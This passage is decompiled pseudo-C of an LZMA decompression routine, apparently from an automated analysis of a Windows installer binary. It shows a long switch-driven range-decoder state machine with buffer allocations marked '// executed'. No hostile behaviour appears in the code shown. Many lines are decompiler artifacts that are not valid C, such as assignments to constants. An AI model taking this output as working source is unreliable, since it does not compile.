								 *_t606 = (0x800 - _t589 >> 5) + _t531;
							}
							if( *(_t613 - 0x10) >= 0x1000000) {
								goto L139;
							}
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								L170:
								_t568 = 0x22;
								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
								_t535 = 0;
								L172:
								return _t535;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L139:
							_t533 =  *(_t613 - 0x84);
							while(1) {
								 *(_t613 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t613 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M004074FE))) {
										case 0:
											if( *(_t613 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t534 =  *( *(_t613 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t570);
											_push(9);
											_pop(_t571);
											_t609 = _t538 / _t570;
											_t540 = _t538 % _t570 & 0x000000ff;
											asm("cdq");
											_t604 = _t540 % _t571 & 0x000000ff;
											 *(_t613 - 0x3c) = _t604;
											 *(_t613 - 0x1c) = (1 << _t609) - 1;
											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
											_t612 = (0x300 << _t604 + _t609) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
												L10:
												if(_t612 == 0) {
													L12:
													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t612 = _t612 - 1;
													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
												} while (_t612 != 0);
												goto L12;
											}
											if( *(_t613 - 4) != 0) {
												GlobalFree( *(_t613 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t613 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 1;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t45 = _t613 - 0x48;
											 *_t45 =  *(_t613 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t613 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t613 - 0x40);
											if(_t546 ==  *(_t613 - 0x74)) {
												L20:
												 *(_t613 - 0x48) = 5;
												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t613 - 0x74) = _t546;
											if( *(_t613 - 8) != 0) {
												GlobalFree( *(_t613 - 8));
											}
											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
											 *(_t613 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
											 *(_t613 - 0x84) = 6;
											 *(_t613 - 0x4c) = _t553;
											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
											 *(_t613 - 0x54) = _t606;
											goto L133;
										case 3:
											L21:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 3;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											_t67 = _t613 - 0x70;
											 *_t67 =  &(( *(_t613 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
											L23:
											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
											if( *(_t613 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t606;
											_t589 = _t531 & 0x0000ffff;
											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
											if( *(_t613 - 0xc) >= _t565) {
												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
												 *(_t613 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												 *_t606 = _t532;
											} else {
												 *(_t613 - 0x10) = _t565;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
												 *_t606 = (0x800 - _t589 >> 5) + _t531;
											}
											if( *(_t613 - 0x10) >= 0x1000000) {
												goto L139;
											}
										case 5:
											goto L137;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 8:
											goto L0;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L89;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t258 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t258;
											0 | _t258 = _t258 + _t258 + 9;
											 *(__ebp - 0x38) = _t258 + _t258 + 9;
											goto L75;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x28);
											goto L88;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L88:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L89:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 0x12:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *(__ebp - 0x7c) = 0x14;
												goto L145;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											 *(_t613 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											L145:
											__eax =  *(__ebp - 0x40);
											 *(__ebp - 0x50) = 1;
											 *(__ebp - 0x48) =  *(__ebp - 0x40);
											goto L149;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											L149:
											__eflags =  *(__ebp - 0x48);
											if( *(__ebp - 0x48) <= 0) {
												__ecx =  *(__ebp - 0x40);
												__ebx =  *(__ebp - 0x50);
												0 = 1;
												__eax = 1 << __cl;
												__ebx =  *(__ebp - 0x50) - (1 << __cl);
												__eax =  *(__ebp - 0x7c);
												 *(__ebp - 0x44) = __ebx;
												while(1) {
													 *(_t613 - 0x88) = _t533;
													goto L1;
												}
											}
											__eax =  *(__ebp - 0x50);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
											__eax =  *(__ebp - 0x58);
											__esi = __edx + __eax;
											 *(__ebp - 0x54) = __esi;
											__ax =  *__esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__cx = __ax >> 5;
												__eax = __eax - __ecx;
												__edx = __edx + 1;
												__eflags = __edx;
												 *__esi = __ax;
												 *(__ebp - 0x50) = __edx;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L148;
											} else {
												goto L146;
											}
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														goto L109;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
